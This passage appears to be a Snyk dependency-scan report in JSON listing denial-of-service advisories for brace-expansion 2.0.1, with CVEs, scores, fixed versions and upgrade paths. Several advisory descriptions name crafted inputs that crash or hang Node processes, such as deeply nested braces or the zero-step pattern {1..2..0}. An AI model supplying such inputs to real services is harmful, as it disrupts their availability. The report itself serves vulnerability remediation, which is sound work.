"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
